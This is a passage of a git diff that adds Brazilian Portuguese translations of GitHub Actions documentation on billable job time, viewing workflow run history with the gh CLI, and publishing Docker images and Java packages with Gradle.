+Os minutos de execução de um trabalho faturável são exibidos para trabalhos executados em repositórios privados que usam executores hospedados em {% data variables.product.prodname_dotcom %} e são arredondados para o próximo minuto. Não há minutos faturáveis ao usar {% data variables.product.prodname_actions %} nos repositórios públicos ou para trabalhos executados em executores auto-hospedados.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
-1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**.
-   ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png)
+1. No resumo do trabalho, você pode ver o tempo de execução do trabalho. Para visualizar os detalhes sobre o tempo de execução do trabalho faturável, clique no tempo abaixo do **Tempo faturável**. ![Link com informações sobre o tempo faturável e execução](/assets/images/help/repository/view-run-billable-time.png)
 
    {% note %}
-   
-   **Note:** The billable time shown does not include any minute multipliers. To view your total {% data variables.product.prodname_actions %} usage, including minute multipliers, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)."
-   
+
+   **Observação:**O tempo faturável exibido não inclui multiplicadores de minutos. Para visualizar o uso total de {% data variables.product.prodname_actions %}, incluindo multiplicadores de minutos, consulte "[Visualizando o seu uso {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)".
+
    {% endnote %}
diff --git a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
index 6ecf2c01cc..c4e45c66ee 100644
--- a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
+++ b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing workflow run history
-intro: You can view logs for each run of a workflow. Logs include the status for each job and step in a workflow.
+title: Visualizar o histórico de execução do fluxo de trabalho
+intro: Você pode visualizar registros para cada execução de um fluxo de trabalho. Os registros incluem a situação de cada trabalho e a etapa de um fluxo de trabalho.
 redirect_from:
   - /actions/managing-workflow-runs/viewing-workflow-run-history
 versions:
@@ -8,7 +8,7 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: View workflow run history
+shortTitle: Visualizar o histórico de execução do fluxo de trabalho
 ---
 
 {% data reusables.actions.enterprise-beta %}
@@ -16,8 +16,6 @@ shortTitle: View workflow run history
 
 {% data reusables.repositories.permissions-statement-read %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
@@ -31,53 +29,53 @@ shortTitle: View workflow run history
 
 {% data reusables.cli.cli-learn-more %}
 
-### Viewing recent workflow runs
+### Visualizando execuções de fluxo de trabalho recentes
 
-To list the recent workflow runs, use the `run list` subcommand.
+Para listar as execuções recentes do fluxo de trabalho, use o subcomando `executar lista`.
 
 ```shell
 gh run list
 ```
 
-To specify the maximum number of runs to return, you can use the `-L` or `--limit` flag . The default is `10`.
+Para especificar o número máximo de execuções a retornar, você pode usar o sinalizador `-L` ou `--limit`. O padrão é `10`.
 
 ```shell
 gh run list --limit 5
 ```
 
-To only return runs for the specified workflow, you can use the `-w` or `--workflow` flag.  Replace `workflow` with either the workflow name, workflow ID, or workflow file name. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`.
+Para somente retornar execuções para o fluxo de trabalho especificado, você pode usar o sinalizador `-w` ou `--workflow`.  Substitua `fluxo de trabalho` por um nome de fluxo de trabalho, ID do fluxo de trabalho ou nome de arquivo do fluxo de trabalho. Por exemplo, `"Verificador de Link"`, `1234567`, ou `"link-check-test.yml"`.
 
 ```shell
 gh run list --workflow <em>workflow</em>
 ```
 
-### Viewing details for a specific workflow run
+### Visualizar detalhes para uma execução específica do fluxo de trabalho
 
-To display details for a specific workflow run, use the `run view` subcommand. Replace `run-id` with the ID of the run that you want to view. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run.
+Para exibir detalhes para uma execução específica do fluxo de trabalho, use o subcomando `executar visualização`. Substitua `run-id` pelo ID da execução que você deseja visualizar. Se você não especificar um `run-id`, {% data variables.product.prodname_cli %} irá retornar um menu interativo para você escolher uma execução recente.
 
 ```shell
 gh run view <em>run-id</em>
 ```
 
-To include job steps in the output, use the `-v` or `--verbose` flag.
+Para incluir etapas de trabalho na saída, use o sinalizador `-v` ou `--verbose`.
 
 ```shell
 gh run view <em>run-id</em> --verbose
 ```
 
-To view details for a specific job in the run, use the `-j` or `--job` flag.  Replace `job-id` with the ID of the job that you want to view.
+Para visualizar detalhes de um trabalho específico na execução, use o sinalizador `-j` ou `--job`.  Substitua `job-id` pelo ID do trabalho que você deseja visualizar.
 
 ```shell
 gh run view --job <em>job-id</em>
 ```
 
-To view the full log for a job, use the `--log` flag.
+Para ver o registro completo para um trabalho, use o sinalizador `--log`.
 
 ```shell
 gh run view --job <em>job-id</em> --log
 ```
 
-Use the `--exit-status` flag to exit with a non-zero status if the run failed. For example:
+Use o sinalizador `--exit-status` para sair com um status diferente de zero se a execução falhar. Por exemplo:
 
 ```shell
 gh run view 0451 --exit-status && echo "run pending or passed"
diff --git a/translations/pt-BR/content/actions/publishing-packages/about-packaging-with-github-actions.md b/translations/pt-BR/content/actions/publishing-packages/about-packaging-with-github-actions.md
index fe14bd2f39..80e3b421d3 100644
--- a/translations/pt-BR/content/actions/publishing-packages/about-packaging-with-github-actions.md
+++ b/translations/pt-BR/content/actions/publishing-packages/about-packaging-with-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: About packaging with GitHub Actions
-intro: 'You can set up workflows in {% data variables.product.prodname_actions %} to produce packages and upload them to {% data variables.product.prodname_registry %} or another package hosting provider.'
+title: Sobre o empacotamento com GitHub Actions
+intro: 'Você pode configurar fluxos de trabalho em {% data variables.product.prodname_actions %} para produzir pacotes e fazer o upload em {% data variables.product.prodname_registry %} ou em outro fornecedor de hospedagem do pacote.'
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/about-packaging-with-github-actions
   - /actions/publishing-packages-with-github-actions/about-packaging-with-github-actions
@@ -13,7 +13,7 @@ versions:
 type: overview
 topics:
   - Packaging
-shortTitle: Packaging with GitHub Actions
+shortTitle: Empacotando com GitHub Actions
 ---
 
 {% data reusables.actions.enterprise-beta %}
@@ -21,6 +21,6 @@ shortTitle: Packaging with GitHub Actions
 
 {% data reusables.package_registry.about-packaging-and-actions %}
 
-## Further reading
+## Leia mais
 
-- "[Publishing Node.js packages](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)"
+- "[Publicando pacotes Node.js](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)"
diff --git a/translations/pt-BR/content/actions/publishing-packages/index.md b/translations/pt-BR/content/actions/publishing-packages/index.md
index 843d525047..d885a68a8c 100644
--- a/translations/pt-BR/content/actions/publishing-packages/index.md
+++ b/translations/pt-BR/content/actions/publishing-packages/index.md
@@ -1,7 +1,7 @@
 ---
-title: Publishing packages
-shortTitle: Publishing packages
-intro: 'You can automatically publish packages using {% data variables.product.prodname_actions %}.'
+title: Publicar pacotes
+shortTitle: Publicar pacotes
+intro: 'Você pode publicar pacotes automaticamente usando {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/pt-BR/content/actions/publishing-packages/publishing-docker-images.md b/translations/pt-BR/content/actions/publishing-packages/publishing-docker-images.md
index d7fe77fb52..d21df99eb2 100644
--- a/translations/pt-BR/content/actions/publishing-packages/publishing-docker-images.md
+++ b/translations/pt-BR/content/actions/publishing-packages/publishing-docker-images.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing Docker images
-intro: 'You can publish Docker images to a registry, such as Docker Hub or {% data variables.product.prodname_registry %}, as part of your continuous integration (CI) workflow.'
+title: Publicar imagens do Docker
+intro: 'Você pode publicar imagens Docker para um registro, como o Docker Hub ou {% data variables.product.prodname_registry %}, como parte do seu fluxo de trabalho de integração contínua (CI).'
 redirect_from:
   - /actions/language-and-framework-guides/publishing-docker-images
   - /actions/guides/publishing-docker-images
@@ -19,52 +19,54 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide shows you how to create a workflow that performs a Docker build, and then publishes Docker images to Docker Hub or {% data variables.product.prodname_registry %}. With a single workflow, you can publish images to a single registry or to multiple registries.
+Este guia mostra como criar um fluxo de trabalho que realiza uma criação do Docker e, em seguida, publica imagens do Docker no Docker Hub ou no {% data variables.product.prodname_registry %}. Com um único fluxo de trabalho, você pode publicar imagens em um único registro ou em vários registros.
 
 {% note %}
 
-**Note:** If you want to push to another third-party Docker registry, the example in the "[Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)" section can serve as a good template.
+**Observação:** Se você desejar fazer push para outro registro do Docker de terceiros, o exemplo na seção "[Publicar imagens em {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)" poderá servir como um bom modelo.
 
 {% endnote %}
 
-## Prerequisites
+## Pré-requisitos
 
-We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+Recomendamos que você tenha um entendimento básico das opções de configuração do fluxo de trabalho e de como criar um arquivo do fluxo de trabalho. Para obter mais informações, consulte "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
 
-You might also find it helpful to have a basic understanding of the following:
+Você também pode achar útil ter um entendimento básico do seguinte:
 
-- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
-- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"{% ifversion fpt or ghec %}
-- "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)"{% else %}
-- "[Working with the Docker registry](/packages/working-with-a-github-packages-registry/working-with-the-docker-registry)"{% endif %}
+- "[Segredos criptografados](/actions/reference/encrypted-secrets)"
+- "[Autenticação em um fluxo de trabalho](/actions/reference/authentication-in-a-workflow)"{% ifversion fpt or ghec %}
+- "[Trabalhando com {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)"{% else %}
+- "[Trabalhando com o registro Docker](/packages/working-with-a-github-packages-registry/working-with-the-docker-registry)"{% endif %}
 
-## About image configuration
+## Sobre a configuração da imagem
 
-This guide assumes that you have a complete definition for a Docker image stored in a {% data variables.product.prodname_dotcom %} repository. For example, your repository must contain a _Dockerfile_, and any other files needed to perform a Docker build to create an image.
+Este guia pressupõe que você tem uma definição completa para uma imagem Docker armazenada em um repositório {% data variables.product.prodname_dotcom %}. Por exemplo, seu repositório deve conter um _arquivo Docker_ e quaisquer outros arquivos necessários para executar uma criação do Docker para criar uma imagem.
 
-In this guide, we will use the Docker `build-push-action` action to build the Docker image and push it to one or more Docker registries. For more information, see [`build-push-action`](https://github.com/marketplace/actions/build-and-push-docker-images).
+Neste guia, usaremos a ação `build-push-action` do Docker para criar a imagem do Docker e enviá-la para um ou mais registros do Docker. Para obter mais informações, consulte [`build-push-action`](https://github.com/marketplace/actions/build-and-push-docker-images).
 
 {% data reusables.actions.enterprise-marketplace-actions %}
 
-## Publishing images to Docker Hub
+## Publicar imagens no Docker Hub
 
 {% data reusables.github-actions.release-trigger-workflow %}
 
-In the example workflow below, we use the Docker `login-action` and `build-push-action` actions to build the Docker image and, if the build succeeds, push the built image to Docker Hub.
+No exemplo de fluxo de trabalho, nós usamos as ações de login do Docker `login-action` e `build-push-action` para construir a imagem do Docker e, se a construção for bem-sucedida, faça push da imagem construída para o Docker Hub.
 
-To push to Docker Hub, you will need to have a Docker Hub account, and have a Docker Hub repository created. For more information, see "[Pushing a Docker container image to Docker Hub](https://docs.docker.com/docker-hub/repos/#pushing-a-docker-container-image-to-docker-hub)" in the Docker documentation.
+Para fazer push para o Docker Hub, você deverá ter uma conta Docker Hub e ter criado um repositório Docker Hub. Para obter mais informações, consulte "[Fazer push de uma imagem de contêiner do Docker para o Docker Hub](https://docs.docker.com/docker-hub/repos/#pushing-a-docker-container-image-to-docker-hub)" na documentação do Docker.
 
-The `login-action` options required for Docker Hub are:
-* `username` and `password`: This is your Docker Hub username and password. We recommend storing your Docker Hub username and password as secrets so they aren't exposed in your workflow file. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+As opções</code>login-action` obrigatórias para o Docker Hub são:</p>
 
-The `metadata-action` option required for Docker Hub is:
-* `images`: The namespace and name for the Docker image you are building/pushing to Docker Hub.
+<ul>
+<li><code>nome de usuário` e `senha`: Este é o seu nome de usuário e senha do Docker Hub. Recomendamos armazenar seu nome de usuário e senha do Docker Hub como segredos para que não estejam expostos no seu arquivo de fluxo de trabalho. Para obter mais informações, consulte "[Criando e usando segredos encriptados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".</li> </ul>
 
-The `build-push-action` options required for Docker Hub are:
-* `tags`: The tag of your new image in the format `DOCKER-HUB-NAMESPACE/DOCKER-HUB-REPOSITORY:VERSION`. You can set a single tag as shown below, or specify multiple tags in a list.
-* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully.
+A opção de `metadata-action` necessária para o Docker Hub é:
+* `imagens`: O namespace e o nome da imagem Docker que você está construindo/fazendo push do Docker Hub.
+
+As opções `build-push-action` necessárias para o Docker Hub são:
+* `tags`: A tag de sua nova imagem no formato `DOCKER-HUB-NAMESPACE/DOCKER-HUB-REPOSITORY:VERSION`. Você pode definir uma única tag, conforme mostrado abaixo, ou especificar várias tags em uma lista.
+* `push`: Se definido como `verdadeiro`, a imagem será enviada por push para o registro, se este for construído com sucesso.
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -82,19 +84,19 @@ jobs:
     steps:
       - name: Check out the repo
         uses: actions/checkout@v2
-      
+
       - name: Log in to Docker Hub
         uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
         with:
           username: {% raw %}${{ secrets.DOCKER_USERNAME }}{% endraw %}
           password: {% raw %}${{ secrets.DOCKER_PASSWORD }}{% endraw %}
-      
+
       - name: Extract metadata (tags, labels) for Docker
         id: meta
         uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38
         with:
           images: my-docker-hub-namespace/my-docker-hub-repository
-      
+
       - name: Build and push Docker image
         uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
         with:
@@ -104,34 +106,34 @@ jobs:
           labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %}
 ```
 
-The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to Docker Hub, and apply a tag to the image.
+O fluxo de trabalho acima verifica o repositório {% data variables.product.prodname_dotcom %}, usa `login-action` para efetuar login no registro e, em seguida, usa a ação `build-push-action` para: criar uma imagem Docker com base no `arquivo Docker do seu repositório`; faça push da imagem do Docker Hub e aplique uma tag à imagem.
 
-## Publishing images to {% data variables.product.prodname_registry %}
+## Publicar imagens em {% data variables.product.prodname_registry %}
 
 {% data reusables.github-actions.release-trigger-workflow %}
 
-In the example workflow below, we use the Docker `login-action`{% ifversion fpt or ghec %}, `metadata-action`,{% endif %} and `build-push-action` actions to build the Docker image, and if the build succeeds, push the built image to {% data variables.product.prodname_registry %}.
+No exemplo abaixo, usamos a `login-action do Docker`{% ifversion fpt or ghec %}, `metadados-ação`,{% endif %} e ações de `build-push-action` para construir a imagem Docker e, se a criação for bem-sucedida, faça push da imagem criada para {% data variables.product.prodname_registry %}.
 
-The `login-action` options required for {% data variables.product.prodname_registry %} are:
-* `registry`: Must be set to {% ifversion fpt or ghec %}`ghcr.io`{% else %}`docker.pkg.github.com`{% endif %}.
-* `username`: You can use the {% raw %}`${{ github.actor }}`{% endraw %} context to automatically use the username of the user that triggered the workflow run. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)."
-* `password`: You can use the automatically-generated `GITHUB_TOKEN` secret for the password. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)."
+As opções de `login-action` de login necessárias para {% data variables.product.prodname_registry %} são:
+* `registry`: Deve ser definido como {% ifversion fpt or ghec %}`ghcr.io`{% else %}`docker.pkg.github.com`{% endif %}.
+* `nome de usuário`: Você pode usar o contexto {% raw %}`${{ github.actor }}`{% endraw %} para usar automaticamente o nome de usuário que acionou a execução do fluxo de trabalho. Para obter mais informações, consulte "[Contextos](/actions/learn-github-actions/contexts#github-context)".
+* `senha`: Você pode usar o segredo `GITHUB_TOKEN` gerado automaticamente para a senha. Para obter mais informações, consulte "[Permissões para o GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)".
 
 {% ifversion fpt or ghec %}
-The `metadata-action` option required for {% data variables.product.prodname_registry %} is:
-* `images`: The namespace and name for the Docker image you are building.
+A opção `metadata-action` obrigatória para {% data variables.product.prodname_registry %} é:
+* `imagens`: O espaço do nome e o nome da imagem Docker que você está criando.
 {% endif %}
 
-The `build-push-action` options required for {% data variables.product.prodname_registry %} are:{% ifversion fpt or ghec %}
-* `context`: Defines the build's context as the set of files located in the specified path.{% endif %}
-* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully.{% ifversion fpt or ghec %}
-* `tags` and `labels`: These are populated by output from `metadata-action`.{% else %}
-* `tags`: Must be set in the format `docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION`. For example, for an image named `octo-image` stored on {% data variables.product.prodname_dotcom %} at `http://github.com/octo-org/octo-repo`, the `tags` option should be set to `docker.pkg.github.com/octo-org/octo-repo/octo-image:latest`. You can set a single tag as shown below, or specify multiple tags in a list.{% endif %}
+As opções de `build-push-action` necessárias para {% data variables.product.prodname_registry %} são:{% ifversion fpt or ghec %}
+* `contexto`: Define o contexto da criação como o conjunto de arquivos localizados no caminho especificado.{% endif %}
+* `push`: Se definido como `verdadeiro`, a imagem será enviada por push para o registo se for criada com êxito.{% ifversion fpt or ghec %}
+* `tags` e `etiquetas`: são preenchidas pela saída de `metadados`.{% else %}
+* `tags`: Deve ser definido no formato `docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION`. Por exemplo, para uma imagem denominada `octo-image` armazenada em {% data variables.product.prodname_dotcom %} em `http://github. om/octo-org/octo-repo`, a opção `tags` deve estar definida como `docker.pkg.github.com/octo-org/octo-repo/octo-image:latest`. Você pode definir uma única tag, conforme mostrado abaixo, ou especificar várias tags em uma lista.{% endif %}
 
 {% ifversion fpt or ghec %}
 {% data reusables.package_registry.publish-docker-image %}
 
-The above workflow if triggered by a push to the "release" branch. It checks out the GitHub repository, and uses the `login-action` to log in to the {% data variables.product.prodname_container_registry %}. It then extracts labels and tags for the Docker image. Finally, it uses the `build-push-action` action to build the image and publish it on the {% data variables.product.prodname_container_registry %}.
+O fluxo de trabalho acima, se acionado por um push para o branch "versão". Ele verifica o repositório GitHub e usa `login-action` para fazer login no {% data variables.product.prodname_container_registry %}. Em seguida, extrai etiquetas e tags para a imagem do Docker. Finalmente, ele usa a ação `de build-push-action` para criar a imagem e publicá-la no {% data variables.product.prodname_container_registry %}.
 
 {% else %}
 ```yaml{:copy}
@@ -152,14 +154,14 @@ jobs:
     steps:
       - name: Check out the repo
         uses: actions/checkout@v2
-      
+
       - name: Log in to GitHub Docker Registry
         uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
         with:
           registry: {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}
           username: {% raw %}${{ github.actor }}{% endraw %}
           password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
-      
+
       - name: Build and push Docker image
         uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
         with:
@@ -170,14 +172,14 @@ jobs:
             {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}{% raw %}/${{ github.repository }}/octo-image:${{ github.event.release.tag_name }}{% endraw %}
 ```
 
-The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to the Docker registry, and apply the commit SHA and release version as image tags.
+O fluxo de trabalho acima faz o check-out do repositório {% data variables.product.prodname_dotcom %}, usa o `login-action` para efetuar o login no registro e, em seguida, usa a ação `build-push-action` para criar uma imagem Docker com base no `arquivo Docker` do seu repositório; fazer push da imagem para o registro Docker e aplicar o commit SHA e a versão como tags de imagem.
 {% endif %}
 
-## Publishing images to Docker Hub and {% data variables.product.prodname_registry %}
+## Publicar imagens no Docker Hub e {% data variables.product.prodname_registry %}
 
-In a single workflow, you can publish your Docker image to multiple registries by using the `login-action` and `build-push-action` actions for each registry.
+Em um único fluxo de trabalho, você pode publicar sua imagem Docker em vários registros usando as ações de `login-action` e `build-push-action` para cada registro.
 
-The following example workflow uses the steps from the previous sections ("[Publishing images to Docker Hub](#publishing-images-to-docker-hub)" and "[Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)") to create a single workflow that pushes to both registries.
+O fluxo de trabalho a seguir usa os passos das seções anteriores ("[Publicar imagens no Docker Hub](#publishing-images-to-docker-hub)e "[Publicar imagens para {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)") para criar um único fluxo de trabalho que faz push em ambos os registros.
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -198,20 +200,20 @@ jobs:
     steps:
       - name: Check out the repo
         uses: actions/checkout@v2
-      
+
       - name: Log in to Docker Hub
         uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
         with:
           username: {% raw %}${{ secrets.DOCKER_USERNAME }}{% endraw %}
           password: {% raw %}${{ secrets.DOCKER_PASSWORD }}{% endraw %}
-      
+
       - name: Log in to the {% ifversion fpt or ghec %}Container{% else %}Docker{% endif %} registry
         uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
         with:
           registry: {% ifversion fpt or ghec %}ghcr.io{% elsif ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}
           username: {% raw %}${{ github.actor }}{% endraw %}
           password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
-      
+
       - name: Extract metadata (tags, labels) for Docker
         id: meta
         uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38
@@ -219,7 +221,7 @@ jobs:
           images: |
             my-docker-hub-namespace/my-docker-hub-repository
             {% ifversion fpt or ghec %}ghcr.io/{% raw %}${{ github.repository }}{% endraw %}{% elsif ghae %}{% raw %}docker.YOUR-HOSTNAME.com/${{ github.repository }}/my-image{% endraw %}{% else %}{% raw %}docker.pkg.github.com/${{ github.repository }}/my-image{% endraw %}{% endif %}
-      
+
       - name: Build and push Docker images
         uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
         with:
@@ -229,5 +231,4 @@ jobs:
           labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %}
 ```
 
-The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` twice to log in to both registries and generates tags and labels with the `metadata-action` action.
-Then the `build-push-action` action builds and pushes the Docker image to Docker Hub and the {% ifversion fpt or ghec %}{% data variables.product.prodname_container_registry %}{% else %}Docker registry{% endif %}.
+O fluxo de trabalho acima faz checkout do repositório {% data variables.product.prodname_dotcom %} usa o `login-action` duas vezes para fazer login em ambos os registros e gerar etiquetas com a ação `metadata-action`. Em seguida, a ação `build-push-action` cria e faz push da imagem do Docker para o Docker Hub e, posteriormente, o {% ifversion fpt or ghec %}{% data variables.product.prodname_container_registry %}{% else %}regstro do Docker{% endif %}.
diff --git a/translations/pt-BR/content/actions/publishing-packages/publishing-java-packages-with-gradle.md b/translations/pt-BR/content/actions/publishing-packages/publishing-java-packages-with-gradle.md
index fa50c59fad..0661b029cf 100644
--- a/translations/pt-BR/content/actions/publishing-packages/publishing-java-packages-with-gradle.md
+++ b/translations/pt-BR/content/actions/publishing-packages/publishing-java-packages-with-gradle.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing Java packages with Gradle
-intro: You can use Gradle to publish Java packages to a registry as part of your continuous integration (CI) workflow.
+title: Publicar pacotes Java com Gradle
+intro: Você pode usar o Gradle para publicar pacotes Java para um registro como parte do seu fluxo de trabalho de integração contínua (CI).
 redirect_from:
   - /actions/language-and-framework-guides/publishing-java-packages-with-gradle
   - /actions/guides/publishing-java-packages-with-gradle
@@ -15,40 +15,40 @@ topics:
   - Publishing
   - Java
   - Gradle
-shortTitle: Java packages with Gradle
+shortTitle: Pacotes do Java com Gradle
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
 {% data reusables.github-actions.publishing-java-packages-intro %}
 
-## Prerequisites
+## Pré-requisitos
 
-We recommend that you have a basic understanding of workflow files and configuration options. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+Recomendamos que você tenha um entendimento básico dos arquivos de fluxo de trabalho e das opções de configuração. Para obter mais informações, consulte "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
 
-For more information about creating a CI workflow for your Java project with Gradle, see "[Building and testing Java with Gradle](/actions/language-and-framework-guides/building-and-testing-java-with-gradle)."
+Para obter mais informações sobre a criação de um fluxo de trabalho de CI para seu projeto Java com Gradle, consulte "[Criando e testando o Java com Gradle](/actions/language-and-framework-guides/building-and-testing-java-with-gradle)"
 
-You may also find it helpful to have a basic understanding of the following:
+Você também pode achar útil ter um entendimento básico do seguinte:
 
-- "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
-- "[Environment variables](/actions/reference/environment-variables)"
-- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
-- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"
+- "[Trabalhando com o registro npm](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
+- "[Variáveis de ambiente](/actions/reference/environment-variables)"
+- "[Segredos criptografados](/actions/reference/encrypted-secrets)"
+- "[Autenticação em um fluxo de trabalho](/actions/reference/authentication-in-a-workflow)"
 
-## About package configuration
+## Sobre a configuração do pacote
 
-The `groupId` and `artifactId` fields in the `MavenPublication` section of the _build.gradle_ file create a unique identifier for your package that registries use to link your package to a registry.  This is similar to the `groupId` and `artifactId` fields of the Maven _pom.xml_ file.  For more information, see the "[Maven Publish Plugin](https://docs.gradle.org/current/userguide/publishing_maven.html)" in the Gradle documentation.
+Os campos `groupId` e `artefactId` na seção `MavenPublication` do arquivo _build.gradle_ criam um identificador exclusivo para o seu pacote que os registros usam para vinculá-lo a um registro.  Isto é semelhante aos campos `groupId` e `artifactId` do arquivo Maven _pom.xml_.  Para obter mais informações, consulte o "[Plugin de publicação do Maven](https://docs.gradle.org/current/userguide/publishing_maven.html)" na documentação do Gradle.
 
-The _build.gradle_ file also contains configuration for the distribution management repositories that Gradle will publish packages to. Each repository must have a name, a deployment URL, and credentials for authentication.
+O arquivo _build.gradle_ também contém a configuração para os repositórios de gerenciamento de distribuição nos quais o Gradle publicará pacotes. Cada repositório deve ter um nome, uma URL de implementação e e credenciais para autenticação.
 
-## Publishing packages to the Maven Central Repository
+## Publicar pacotes no Repositório Central do Maven
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the Maven Central Repository if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)."
+Cada vez que você criar uma nova versão, você poderá acionar um fluxo de trabalho para publicar o seu pacote. O fluxo de trabalho no exemplo abaixo é executado quando o evento `versão` é acionado com o tipo `criado`. O fluxo de trabalho publica o pacote no Repositório Central Maven se o teste de CI for aprovado. Para obter mais informações sobre o evento da `versão`, consulte "[Eventos que acionam fluxos de trabalho](/actions/reference/events-that-trigger-workflows#release)".
 
-You can define a new Maven repository in the publishing block of your _build.gradle_ file that points to your package repository.  For example, if you were deploying to the Maven Central Repository through the OSSRH hosting project, your _build.gradle_ could specify a repository with the name `"OSSRH"`.
+É possível definir um novo repositório do Maven no bloco de publicação do seu arquivo _build.gradle_ que aponta para o repositório de pacotes.  Por exemplo, se você estava fazendo uma implementaão no Central Repositório do Maven por meio do projeto de hospedagem OSSRH, seu _build.gradle_ poderá especificar um repositório com o nome `"OSSRH"`.
 
 {% raw %}
 ```groovy{:copy}
@@ -74,7 +74,7 @@ publishing {
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to the Maven Central Repository by running the `gradle publish` command. In the deploy step, you’ll need to set environment variables for the username and password or token that you use to authenticate to the Maven repository. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+Com essa configuração, é possível criar um fluxo de trabalho que publica seu pacote no Repositório Central do Maven ao executar o comando `publicação do gradle`. Na etapa de implementação, você deverá definir variáveis de ambiente para o nome de usuário e senha ou token usado para fazer a autenticação no repositório do Maven. Para obter mais informações, consulte "[Criando e usando segredos encriptados](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
